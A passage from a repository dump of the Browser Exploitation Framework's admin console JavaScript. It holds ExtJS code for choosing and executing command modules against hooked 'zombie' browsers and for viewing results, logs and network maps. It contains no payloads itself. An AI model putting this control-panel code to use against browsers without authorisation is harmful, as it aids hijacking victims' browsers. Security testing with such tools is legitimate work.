online_hooked_browsers);\n\t\t\t\thooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false));\n\t\t\t\tnew_zombie_list.push(online_hooked_browser);\n\t\t\t}\n\n\t\t\t//expand the online hooked browser tree lists\n\t\t\tif(hooked_browsers_tree.online_hooked_browsers_treenode.childNodes.length > 0) {\n\t\t\t\thooked_browsers_tree.online_hooked_browsers_treenode.expand(true);\n\t\t\t}\n\n\t\t\t//expand the offline hooked browser tree lists\n\t\t\tif(hooked_browsers_tree.offline_hooked_browsers_treenode.childNodes.length > 0) {\n\t\t\t\thooked_browsers_tree.offline_hooked_browsers_treenode.expand(true);\n\t\t\t}\n\n\t\t}\n\t\tbeefwui.hooked_browsers = new_zombie_list;\n\t}\n};\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/common.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nvar zombie_execute_button_text = 'Execute'\nvar zombie_reexecute_button_text = 'Re-execute'\nvar re_execute_command_title = 'Re-execute command'\n\n/**\n * Generates fields for the form used to send command modules.\n *\n * @param: {Object} the form to generate the field in.\n * @param: {String/Object} the field name or it's definition as an object.\n * @param: {String} the value that field should have.\n * @param: {Boolean} set to true if you want the field to be disabled.\n * @param: {Object} the targeted Zombie.\n */\nfunction generate_form_input_field(form, input, value, disabled, zombie) {\n\tvar input_field = null;\n\tvar input_def = null;\n\t\t\t\n\tif (!input['ui_label']) input['ui_label'] = input['name'];\n\tif (!input['type']) input['type'] = 'textfield';\n\tif (!input['value']) input['value'] = '';\n\n\tinput_def = { \n\t\tid: 'form-zombie-'+zombie.session+'-field-'+input['name'], \n\t\tname: 'txt_'+input['name'], \n\t\tfieldLabel: input['ui_label'],\n        anchor:'70%',\n\t\tallowBlank: false, \n\t\tvalue: input['value']\n\t};\n\t\t\n\t// create the input field object based upon the type supplied\n\tswitch(input['type'].toLowerCase()) {\n\t\tcase 'textfield':\n\t\t\tinput_field = new Ext.form.TextField(input_def);\n\t\t\tbreak;\n\t\tcase 'textarea':\n\t\t\tinput_field = new Ext.form.TextArea(input_def);\n\t\t\tbreak;\n\t\tcase 'hidden':\n\t\t\tinput_field = new Ext.form.Hidden(input_def);\n\t\t\tbreak;\n\t\tcase 'label':\n\t\t\tinput_def['fieldLabel'] = ''\n\t\t\tinput_def['html'] = input['html'];\n\t\t\tinput_field = new Ext.form.Label(input_def);\n\t\t\tbreak;\n\t\tcase 'checkbox':\n\t\t\tinput_def['name'] = 'chk_' + input['name'];\n\t\t\tinput_field = new Ext.form.Checkbox(input_def);\n\t\t\tbreak;\n\t\tcase 'checkboxgroup':\n\t\t\tinput_def['name'] = 'chkg_' + input['name'];\n\t\t\tinput_def['items'] = input['items'];\n\t\t\tinput_field = new Ext.form.CheckboxGroup(input_def);\n\t\t\tbreak;\n   \t\tcase 'combobox':\n            input_def['name'] = 'com_' + input['name'];\n\t\t\tinput_def['triggerAction'] = 'all';\n\n            if(input.reloadOnChange || input.defaultPayload != null) { // defined in msfcommand.rb\n\t\t\t\tExt.getCmp(\"payload-panel\").show(); // initially the panel will be empty so it may appear still hidden\n\t\t\t\tinput_def['listeners'] = {\n                    // update the payload options when one of them is selected\n\t\t\t\t\t'select': function(combo, value) {\n\t\t\t\t\t\tget_dynamic_payload_details(combo.getValue(), zombie);\n                    },\n                    // set the default payload value as defined in defaultPayload\n                    'afterrender': function(combo){\n                        combo.setValue(input.defaultPayload);\n                        get_dynamic_payload_details(combo.getValue(),zombie);\n                    }\n\t\t    \t};\n\t\t\t}\n\n\n\t\t\t// create store to contain options for the combo box\n\t\t\tinput_def['store']  = new Ext.data.ArrayStore( {\n\t\t\t\tfields: input['store_fields'],\n\t\t\t\tdata: input['store_data']\n\t\t\t});\n\n\t\t\tinput_field = new Ext.form.ComboBox(input_def);\n\t\t\t\t\t\t\t\t\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tinput_field = new Ext.form.TextField(input_def);\n\t\t\tbreak;\n\t}\n\t\t\n\t// add the properties for the input element, for example: widths, default values and the html lables\n\tfor(definition in input) {\n\t\tif( (typeof input[definition] == 'string') && (definition != 'type') && (definition != 'name')) {\n\t\t\tinput_field[definition] = input[definition];\n\t\t}\n\t}\n\n\tif(value) input_field.setValue(value);\n\tif(disabled) input_field.setDisabled(true);\n\n\tform.add(input_field);\n\treturn input_field;\t\n};\n\nfunction get_dynamic_payload_details(payload, zombie) {\n    modid = Ext.getCmp('form-zombie-' + zombie.session + '-field-mod_id').value;\n\tExt.Ajax.request({\n\t\tloadMask: true,\n        url: '<%= @base_path %>/modules/select/commandmodule.json',\n        method: 'POST',\n\t\tparams: 'command_module_id=' + modid  + '&' + 'payload_name=' + payload,\n\t\tsuccess: function(resp) {\n\t\t\tvar module = Ext.decode(resp.responseText);\n\t\t\tmodule = module.command_modules[1][0];\n\t\t\tExt.getCmp(\"payload-panel\").removeAll(); // clear the panel contents\n\t\t\tExt.each(module.data , function(input){\n\t\t\t\t// generate each of the payload input options\n\t\t\t\tgenerate_form_input_field(Ext.getCmp(\"payload-panel\"), input, null, false, zombie);\n\t\t\t});\n\t\t\t\n\t\t\tExt.getCmp(\"payload-panel\").doLayout();\n\t\t}\n\t})\n}\n\n/**\n * Generate a panel for an command module that already has been executed.\n * \n * @param: {Object} the Panel in the UI to generate the form into.\n * @param: {Integer} the command id to generate the panel for.\n * @param: {Object} the targeted Zombie.\n * @param: {Object} the status bar.\n */\nfunction genExistingExploitPanel(panel, command_id, zombie, sb) {\n\tif(typeof panel != 'object') {\n\t\tExt.beef.msg('Bad!', 'Incorrect panel chosen.');\n\t\treturn;\n\t}\n\t\n\tsb.showBusy(); // status bar update\n\tpanel.removeAll();\n\t\n\tExt.Ajax.request({\n\t\turl: '<%= @base_path %>/modules/select/command.json',\n\t\tmethod: 'POST',\n\t\tparams: 'command_id=' + command_id,\n\t\tloadMask: true,\n\t\tsuccess: function(resp) {\n\t\t\tvar xhr = Ext.decode(resp.responseText);\n\t\t\t\n\t\t\tif(!xhr || !xhr.definition) {\n\t\t\t\tExt.beef.msg('Error!', 'We could not retrieve the definition of that command module...');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tvar form = new Ext.form.FormPanel({\n\t\t\t\turl: '<%= @base_path %>/modules/commandmodule/reexecute',\n\t\t\t\tid: 'form-command-module-zombie-'+zombie.session,\n\t\t\t\tborder: false,\n\t\t\t\tlabelWidth: 75,\n\t\t\t\tdefaultType: 'textfield',\n\t\t\t\ttitle: re_execute_command_title,\n\t\t\t\tbodyStyle: 'padding: 5px;',\n\t\t\t\t\n\t\t\t\titems: [new Ext.form.Hidden({name: 'command_id', value: command_id})],\n\t\t\t\t\n\t\t\t\tbuttons:[{\n\t\t\t\t\ttext: zombie_reexecute_button_text,\t\n\t\t\t\t\thandler: function()\t{\n\t\t\t\t\t\tvar form = Ext.getCmp('form-command-module-zombie-'+zombie.session);\n\t\t\t\t\t\tif(!form || !form.getForm().isValid()) return;\n\t\t\t\t\t\t\n\t\t\t\t\t\tsb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab\n\t\t\t\t\t\tcommand_module_form.submit({\n\t\t\t\t\t\t\tparams: {  // insert the nonce with the form\n\t\t\t\t\t\t\t\t\tnonce: Ext.get (\"nonce\").dom.value\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tsuccess: function() {\n\t\t\t\t\t\t\t\tsb.update_sent(\"Commands sent to zombie \" + zombie.ip); // status bar update\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tfailure: function() {\n\t\t\t\t\t\t\t\tsb.update_fail(\"Error!\"); // status bar update\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}]\n\t\t\t});\n\t\t\t\n\t\t\tExt.each(xhr.definition.Data, function(input) {\n\t\t\t\tvar value = null;\n\t\t\t\t\n\t\t\t\tif(typeof input == 'string') {\n\t\t\t\t\tvalue = xhr.data[input];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(typeof input == 'object' && typeof input[0] == 'object') {\n\t\t\t\t\tvalue = xhr.data[input[0]['name']]\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tgenerate_form_input_field(form, input, value, false, zombie);\n\t\t\t});\n\t\t\t\n\t\t\tvar grid_store = new Ext.data.JsonStore({\n\t\t\t\turl: '<%= @base_path %>/modules/select/command_results.json?command_id='+command_id,\n\t\t\t\tstoreId: 'command-results-store-zombie-'+zombie.session,\n\t\t        root: 'results',\n\t\t\t\tremoteSort: false,\n\t\t\t\tautoDestroy: true,\n\t\t        fields: [\n\t\t\t\t\t{name: 'date', type: 'date', dateFormat: 'timestamp'},\n\t\t\t\t\t{name: 'data'}\n\t\t\t\t]\n\t\t\t});\n\t\t\t\n\t\t\tExt.TaskMgr.start({\n\t\t\t    run: function(task) {\n\t\t\t\t\tvar grid = Ext.getCmp('command-results-grid-zombie-'+zombie.session);\n\t\t\t\t\t//here we have to check for the existance of the grid before reloading\n\t\t\t\t\t//because we do not want to reload the store if the tab has been closed.\n\t\t\t\t\tif(grid_store && grid) {\n\t\t\t\t\t\tgrid_store.reload();\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t    interval: 4000\n\t\t\t});\n\t\t\t\n\t\t\tvar grid = new Ext.grid.GridPanel({\n\t\t\t\tid: 'command-results-grid-zombie-'+zombie.session,\n\t\t\t\tstore: grid_store,\n\t\t\t\tborder: false,\n\t\t\t\thideHeaders: true,\n\t\t\t\ttitle: 'Command results',\n\t\t\t\t\n\t\t\t\tviewConfig: {\n\t\t\t\t\tforceFit:true\n\t\t\t\t},\n\n\t\t\t// render command responses\n\t\t        columns:[new Ext.grid.RowNumberer({width: 20}), {\n\t\t\t            dataIndex: 'date',\n\t\t\t            sortable: false,\n\t\t\t\t\t\trenderer: function(value, p, record) {\n\t\t\t\t\t\t\thtml = String.format(\"<div style='color:#385F95;text-align:right;'>{0}</div>\", value);\n\t\t\t\t\t\t\thtml += '<p>';\n\t\t\t\t\t\t\tfor(index in record.data.data) {\n\t\t\t\t\t\t\t\tresult = record.data.data[index];\n\t\t\t\t\t\t\t\tindex  = index.toString().replace('_', ' ');\n\n\t\t\t\t\t\t\t\t// Check for a base64 encoded image\n\t\t\t\t\t\t\t\tvar header = \"image=data:image/(jpg|png);base64,\";\n\t\t\t\t\t\t\t\tvar re = new RegExp(header, \"\");\n\t\t\t\t\t\t\t\tif (result.match(re)) {\n\n\t\t\t\t\t\t\t\t\t// Render the image\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar img = result.replace(/[\\r\\n]/g, '');\n\t\t\t\t\t\t\t\t\t\tbase64_data = window.atob(img.replace(re, ''));\n\t\t\t\t\t\t\t\t\t\thtml += String.format('<img src=\"{0}\" /><br>', img.replace(/^image=/, ''));\n\t\t\t\t\t\t\t\t\t} catch(e) {\n\t\t\t\t\t\t\t\t\t\tconsole.log(\"Received invalid base64 encoded image string: \"+e.toString());\n\t\t\t\t\t\t\t\t\t\thtml += String.format('<b>{0}</b>: {1}<br>', index, result);\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// output escape everything else, but allow the <br> tag for better rendering.\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\thtml += String.format('<b>{0}</b>: {1}<br>', index, $jEncoder.encoder.encodeForHTML(result).replace(/&lt;br&gt;/g,'<br>'));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\thtml += '</p>';\n\t\t\t\t\t\t\treturn html;\n\t\t\t\t\t\t}\n\t\t        \t}]\n\t\t    });\n\n\t\t\tgrid.store.load();\n\n\t\t\tvar accordion = new Ext.Panel({\n\t\t\t\tid: 'command-results-accordion-zombie-'+zombie.session,\n\t\t\t\tlayout:'accordion',\n\t\t\t\tborder: false,\n\t\t\t\titems: [grid, form]\n\t\t\t});\n\t\t\t\t\n\t\t\tpanel.add(accordion);\n\t\t\tpanel.doLayout();\n\t\t\t\n\t\t\tsb.update_ready(); // status bar update\n\t\t}\n\t});\n};\n\n/**\n * Generate a panel for an command module.\n * \n * @param: {Object} the Panel in the UI to generate the form into.\n * @param: {String} the path to the command module file in the framework.\n * @param: {String} the name of the command module.\n * @param: {Object} the targeted Zombie.\n * @param: {Object} the status bar.\n */\nfunction genNewExploitPanel(panel, command_module_id, command_module_name, zombie, sb) {\n\tif(typeof panel != 'object') {\n\t\tExt.beef.msg('Bad!', 'Incorrect panel chosen.');\n\t\treturn;\n\t}\n\t\n\tvar xgrid = Ext.getCmp('command-module-grid-zombie-'+zombie.session);\n\tvar sb = Ext.getCmp('commands-bbar-zombie-'+zombie.session);\n    panel.removeAll();\n\tif(command_module_name == 'some special command module') {\n\t\t//HERE we will develop specific panels for the command modules that require it.\n\t} else {\n\t\tExt.Ajax.request({\n\t\t\tloadMask: true,\n\t\t\turl: '<%= @base_path %>/modules/select/commandmodule.json',\n\t\t\tmethod: 'POST',\n\t\t\tparams: 'command_module_id=' + command_module_id,\n\t\t\tsuccess: function(resp) {\n\t\t\t\tvar module = Ext.decode(resp.responseText);\n\t\t\t\t\n\t\t\t\tif(!module) {\n\t\t\t\t\tExt.beef.msg('Error!', 'We could not retrieve the definition of that command_module...');\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tvar submiturl = '<%= @base_path %>/modules/commandmodule/new';\n\t\t\t\tif(module.dynamic){\n\t\t\t\t\tsubmiturl = '<%= @base_path %>/modules/commandmodule/dynamicnew';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tmodule = module.command_modules[1];\n\n                var form = new Ext.form.FormPanel({\n\t\t\t\t\turl: submiturl,\n\t\t\t\t\t\n\t\t\t\t\tid: 'form-command-module-zombie-'+zombie.session,\n\t\t\t\t\tborder: false,\n\t\t\t\t\tlabelWidth: 75,\n\t\t\t\t\tdefaultType: 'textfield',\n\t\t\t\t\ttitle: module.Name,\n\t\t\t\t\tautoScroll: true,\n\t\t\t\t\tbodyStyle: 'padding: 5px;',\n\t\t\t\t\t\n\t\t\t\t\titems: [\n\t\t\t\t\t\tnew Ext.form.Hidden({name: 'zombie_session', value: zombie.session}),\n\t\t\t\t\t\tnew Ext.form.Hidden({name: 'command_module_id', value: command_module_id}),\n\t\t\t\t\t\tnew Ext.form.DisplayField({\n\t\t\t\t\t\t\tname: 'command_module_description',\n\t\t\t\t\t\t\tfieldLabel: 'Description',\n\t\t\t\t\t\t\tfieldClass: 'command-module-panel-description',\n\t\t\t\t\t\t\tvalue: module.Description\n\t\t\t\t\t  \t}),\n\t\t\t\t\t\tnew Ext.form.DisplayField({\n\t\t\t\t\t\t\tname: 'command_module_id_visible',\n\t\t\t\t\t\t\tfieldLabel: 'Id',\n\t\t\t\t\t\t\tfieldClass: 'command-module-panel-description',\n\t\t\t\t\t\t\tvalue: command_module_id\n\t\t\t\t\t\t})\n\t\t\t\t\t],\n\t\t\t\t\t\n\t\t\t\t\tbuttons:[{\n\t\t\t\t\t\ttext: zombie_execute_button_text,\t\n\t\t\t\t\t\thandler: function()\t{\n\t\t\t\t\t\t\tvar form = Ext.getCmp('form-command-module-zombie-'+zombie.session), command_module_params = new Array();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(!form || !form.getForm().isValid()) {\n\t\t\t\t\t\t\t\tsb.update_fail(\"Please complete all input fields!\"); // status bar update\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tsb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update\n\n\t\t\t\t\t\t\tvar command_module_form = form.getForm();  // form to be submitted when execute button is pressed on an command module tab\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcommand_module_form.submit({\n\t\t\t\t\t\t\t\tparams: {  // insert the nonce with the form\n\t\t\t\t\t\t\t\t\t\tnonce: Ext.get (\"nonce\").dom.value\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tsuccess: function() {\n\t\t\t\t\t\t\t\t\txgrid.i = 0;\n\t\t\t\t\t\t\t\t\txgrid.store.reload({  //reload the command module grid\n\t\t\t\t\t\t\t\t\t\tparams: {  // insert the nonce with the request to reload the grid\n\t\t\t\t\t\t\t\t\t\t\tnonce: Ext.get (\"nonce\").dom.value\n\t\t\t\t\t\t\t\t    \t}\n\t\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\t\tsb.update_sent(\"Commands sent to zombie \" + zombie.ip); // status bar update\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tfailure: function() {\n\t\t\t\t\t\t\t\t\tsb.update_fail(\"Error!\"); // status bar update\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t}]\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t// create the panel and hide it \n\t\t\t\tvar payload_panel = new Ext.Panel({  \n\t\t\t\t\tid: 'payload-panel',  // used with Ext.GetCmp('payload-panel')\n\t\t\t\t    bodyStyle: 'padding:10px;', // we can assign styles to the main div  \n\t\t\t\t\t\tlayout : 'form',\n\t\t\t\t\tbodyBorder: false,\n\t\t\t\t    height: 200,  \n\t\t\t\t\thidden: true,\n\t\t\t\t    border: false //we can remove the border of the panel\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tExt.each(module.Data, function(input){\n\t\t\t\t\tgenerate_form_input_field(form, input, null, false, zombie)}\n\t\t\t\t);\n\t\t\t\t\n\t\t\t\tform.add(payload_panel);\n\t\t\t\tpanel.add(form);\n\t\t\t\tpanel.doLayout();\n                // hide the load mask after rendering of the config panel is done\n                panel.configLoadMask.hide();\n\t\t\t}\n\t\t});\n\t}\n};"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The command tab panel. Listing the list of commands sent to the zombie.\n * Loaded in /ui/panel/index.html \n */\nZombieTab_Commands = function(zombie) {\n\tvar originalRoot;\n\t\n\tvar command_module_config = new Ext.Panel({\n\t\tid: 'zombie-command-module-config-'+zombie.session,\n\t\tregion: 'center',\n\t\tborder: true,\n\t\tlayout: 'fit'\n\t});\n\n\tvar command_module_grid = new Ext.grid.GridPanel({\n\t\tstore: new Ext.data.JsonStore({\n\t\t\t\turl: '<%= @base_path %>/modules/commandmodule/commands.json',\n\t\t\t\tparams: {  // insert the nonce with the form\n\t\t\t\t\t\tnonce: Ext.get (\"nonce\").dom.value\n\t\t\t\t},\n\t\t\t\tautoDestroy: false,\n\t\t\t\tautoLoad: false,\n\t\t\t\troot: 'commands',\n\t\t\t\tfields: ['label', 'creationdate', 'id', 'object_id'],\n\t\t\t\tsortInfo: {field: 'id', direction: 'ASC'}\n\t\t\t}),\n\t\t\n\t\tid: 'command-module-grid-zombie-'+zombie.session,\n\t\ttitle: \"Module Results History\",\n\t\tsortable: true,\n\t\tautoWidth: false,\n\t\tregion: 'west',\n\t\tstripeRows: true,\n\t\tautoScroll: true,\n\t\tborder: true,\n\t\twidth: 260,\n\t\ti:0,\n\t\tminSize: 160,\n\t\tmaxSize: 300,\n\t\tsplit: true,\n\n\t\tview: new Ext.grid.GridView({\n\t\t\tforceFit: true,\n\t\t\temptyText: \"The results from executed command modules will be listed here.\",\n\t\t\tenableRowBody:true\n\t\t}),\n\t\t\n\t\tcolumns: [\n\t\t\t{header: 'id', width: 35, sortable: true, dataIndex: 'id'},\n\t\t\t{header: 'date', width: 100, sortable: true, dataIndex: 'creationdate'},\n\t\t\t{header: 'label', sortable: true, dataIndex: 'label', renderer: \n\t\t\t\tfunction(value, metaData, record, rowIndex, colIndex, store) {\n\t\t\t\t\treturn 'command '+($jEncoder.encoder.encodeForHTML(record.get(\"id\")+1));\n\t\t\t\t}\n\t\t\t},\n\t\t\t{header: 'object_id', sortable: true, dataIndex: 'object_id', hidden: true, menuDisabled: true}\n\t\t]\n\t});\n\t\n\tcommand_module_grid.on('rowclick', function(grid, rowIndex, e) {\n\t\tvar r = grid.getStore().getAt(rowIndex).data;\n\t\tvar command_id = r.object_id || null;\n\t\t\n\t\tif(!command_id) return;\n\t\t\n\t\tgenExistingExploitPanel(command_module_config, command_id, zombie, commands_statusbar);\n\t});\n\t\n\tLoadCommandPanelEvent = function(node,keyclick) {\n\t\tif(!node.leaf && !keyclick) {\n\t\t\tnode.toggle();\n\t\t} else if (!node.leaf && keyclick) {\n\t\t\treturn;\n\t\t} else {\n\t\t\tcommand_module_config.configLoadMask = new Ext.LoadMask(Ext.getBody(), {msg:\"Please wait, module config is loading...\"});\n\t\t\tcommand_module_config.configLoadMask.show();\n\t\t\tcommand_module_grid.i = 0;\n\t\t\tcommand_module_grid.store.baseParams = {command_module_id: node.attributes.id, zombie_session: zombie.session};\n\t\t\tcommand_module_grid.store.reload({  //reload the command module grid\n\t\t\t\tparams: {  // insert the nonce with the request to reload the grid\n\t\t\t\t\tnonce: Ext.get (\"nonce\").dom.value\n\t\t\t}\t\t\n\t\t\t});\n\n\t\t\tgenNewExploitPanel(command_module_config, node.id, node.text, zombie, commands_statusbar);\n\t\t\tcommands_statusbar.showValid('Ready');\n\t\t}\n\t};\n\t\n\tvar command_module_tree_search = new Ext.form.TextField( {\n\t\temptyText: 'Search',\n\t\tid: 'module-search-' + zombie.session,\n\t\tstyle: {\n\t\t\twidth: '100%'\n\t\t\t},\n\t\tlisteners: {\n\t\t\tspecialkey : function(field,e){\n\t\t\t\tif(e.getKey() == e.ENTER){\n\t\t\t\t\tif( field.getValue() ){\n\t\t\t\t\t\tvar root = {\n\t\t\t\t\t\t\t\t\t\ttext: \"Search results\",\n\t\t\t\t\t\t\t\t\t\tchildren: search_module(originalRoot, field.getValue())\n\t\t\t\t\t\t};\n\t\t\t\t\t\tcommand_module_tree.setRootNode(root);\n\t\t\t\t\t} else \n\t\t\t\t\t\tcommand_module_tree.setRootNode(originalRoot);\n\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\t\n\tvar command_module_tree_search_panel = new Ext.Panel({\n        id: \"zombie-command-modules-search-panel\"+zombie.session,\n\t\titems: [ command_module_tree_search ],\n        width: 190,\n        minSize: 190,\n        maxSize: 500,\n        region: 'north'\n\t});\n\n\tvar command_module_tree = new Ext.tree.TreePanel({\n\t\tid: \"zombie-command-modules\"+zombie.session,\n\t\tregion: 'center',\n\t\twidth: 190,\n        minSize: 190,\n        maxSize: 500,\n\t\tuseArrows: true,\n\t\tautoScroll: true,\n\t\tanimate: true,\n\t\tcontainerScroll: true,\n\t\trootVisible: false,\n\t\troot: {nodeType: 'async'},\n\t\tloader: new Ext.tree.TreeLoader({\n          dataUrl: '<%= @base_path %>/modules/select/commandmodules/tree.json',\n          baseParams: {zombie_session: zombie.session},\n          listeners:{\n            beforeload: function(treeloader, node, callback) {\n                       // Show loading mask on body, to prevent the user interacting with the UI\n                       treeloader.treeLoadingMask = new Ext.LoadMask(Ext.getBody(), {msg:\"Please wait, command tree is loading...\"});\n                       treeloader.treeLoadingMask.show();\n                       return true;\n             },\n             load: function(treeloader, node, response) {\n                       // Hide loading mask after tree is fully loaded\n                       treeloader.treeLoadingMask.hide();\n\t\t\t\t\t\toriginalRoot = command_module_tree.root.childNodes;\n                       return true;\n             }\n          }\n        }),\n\t\tlisteners: {\n\t\t\t'click': function(node) {\n\t\t\t\tLoadCommandPanelEvent(node,false);\n\t\t\t},\n\t\t\t'afterrender' : function() {\n\t\t\t},\n\t\t\t'selectionchange' : function() {\n\t\t\t},\n\t\t\t'activate' : function() {\n\t\t\t},\n\t\t\t'deactivate' : function() {\n\t\t\t},\n\t\t\t'select' : function() {\n\t\t\t},\n\t\t\t'keyup' : function() {\n\t\t\t},\n\t\t\t'render' : function(c) {\n\t\t\t\tc.getEl().on('keyup', function(a) {\n                    LoadCommandPanelEvent(Ext.getCmp('zombie-command-modules'+zombie.session).getSelectionModel().getSelectedNode(),true);\n                });\n            }\n\t\t}\n\t});\n\n\tvar command_module_tree_container = new Ext.Panel({\n        id: \"zombie-command-modules-container\"+zombie.session,\n\t\ttitle: \"Module Tree\",\n\t\tborder: true,\n        width: 190,\n        minSize: 190,\n        maxSize: 500, // if some command module names are even longer, adjust this value\n        layout: 'border',\n        region: 'west',\n        split: true,\n\t\titems: [ command_module_tree_search_panel,command_module_tree ],\n\t});\n\n\n\tvar commands_statusbar = new Beef_StatusBar(zombie.session);\n\t\n\tZombieTab_Commands.superclass.constructor.call(this, {\n\t\tid: 'zombie-'+zombie.session+'-command-module-panel',\n\t\ttitle:'Commands',\n\t\tlayout: 'fit',\n\t\tregion: 'center',\n\t\titems: {\n\t\t\tlayout: 'border',\n\t\t\tborder: false,\n            // enable width resize of the command_module_tree\n            defaults: {\n                collapsible: false,\n                split: true\n            },\n\t\t\titems: [\n                    command_module_tree_container,\n                    new Ext.Panel({\n                        id: 'zombie-command-module-west-'+zombie.session,\n                        region: 'center',\n                        layout: 'border',\n                        border: false,\n                        items: [command_module_grid, command_module_config]\n\t\t\t})]\n\t\t},\n\n\t\tbbar: commands_statusbar\n\t});\n\t\n\tvar sb = Ext.getCmp('command-module-bbar-zombie-'+zombie.session);\n};\n\nExt.extend(ZombieTab_Commands, Ext.Panel, {\n    listeners: {\n    \t\tclose: function(panel) {}\n    \t}\n});\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The main Tab panel for the selected zombie.\n */\nZombieTab_DetailsTab = function(zombie) {\n\n  var zombieDetails = new BrowserDetailsDataGrid('/api/browserdetails/' + zombie.session, 30);\n  zombieDetails.border = false;\n\n  ZombieTab_DetailsTab.superclass.constructor.call(this, {\n    id: 'browser-details-tab' + zombie.session,\n    layout: 'fit',\n    title: 'Details',\n    items: {\n      layout: 'border',\n      border: false,\n      items:[zombieDetails]\n    }\n  });\n};\n\nExt.extend(ZombieTab_DetailsTab, Ext.Panel, {} );\n\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The log Tab panel for the selected zombie.\n */\nZombieTab_LogTab = function(zombie) {\n\n\tvar zombieLog = new LogsDataGrid('/api/logs/' + zombie.session ,30);\n\tzombieLog.border = false;\n\n\tZombieTab_LogTab.superclass.constructor.call(this, {\n\t\tid: 'zombie-log-tab' + zombie.session,\n\t\tlayout: 'fit',\n\t\ttitle: 'Logs',\n\t\titems: {\n\t\t\tlayout: 'border',\n\t\t\tborder: false,\n\t\t\titems:[zombieLog]\n\t\t}\n\t});\n};\n\nExt.extend(ZombieTab_LogTab, Ext.Panel, {} );\n\n"
  },
  {
    "path": "extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * The Network tab panel for the selected zombie browser.\n * Loaded in /ui/panel/index.html\n */\nZombieTab_Network = function(zombie) {\n\t\n\t// The status bar.\n\tvar commands_statusbar = new Beef_StatusBar('network-bbar-zombie-'+zombie.session);\n\t// RESTful API token\n\tvar token = beefwui.get_rest_token();\n\n\t// get module ID from name\n\tvar get_module_id = function(name){\n\t\tvar id = \"\";\n\t\tjQuery.ajax({\n\t\t\ttype: 'GET',\n\t\t\turl: \"/api/modules/search/\" + name + \"?token=\" + token,\n\t\t\tasync: false,\n\t\t\tprocessData: false,\n\t\t\tsuccess: function(data){                            \n\t\t\t\tid = data.id;                                   \n\t\t\t},\n\t\t\terror: function(){\n\t\t\t\tcommands_statusbar.update_fail(\"Error getting module id for '\"+name+\"'\");\n\t\t\t}\n\t\t});\n\t\treturn id;\n\t}\n\n\t/*\n\t * arrayUnique()\n\t */\n\tvar arrayUnique = function(a) {\n\t\treturn a.reduce(function(p, c) {\n\t\t\tif (p.indexOf(c) < 0) p.push(c);\n\t\t\treturn p;\n\t\t}, []);\n\t};\n\n\t/*\n\t * Draw the network map with vis.js\n\t */\n\tvar draw = function() {\n\n\t\tvar hosts = null;\n\t\tvar url = '/api/network/hosts/'+zombie.session+'?token='+token;\n\t\tjQuery.ajax({\n\t\t\tcontentType: 'application/json',\n\t\t\tdataType: 'json',\n\t\t\ttype: 'GET',\n\t\t\turl: url,\n\t\t\tasync: false,\n\t\t\tprocessData: false,\n\t\t\tloadMask: {msg:'Loading network hosts...'},\n\t\t\tsuccess: function(data){\n\t\t\t\thosts = data;\n\t\t\t},\n\t\t\terror: function(){\n\t\t\t\tcommands_statusbar.update_fail('Error retrieving network hosts');\n\t\t\t}\n\t\t});\n\t\n\t\tvar network = null;\n\t\tvar DIR = '<%= 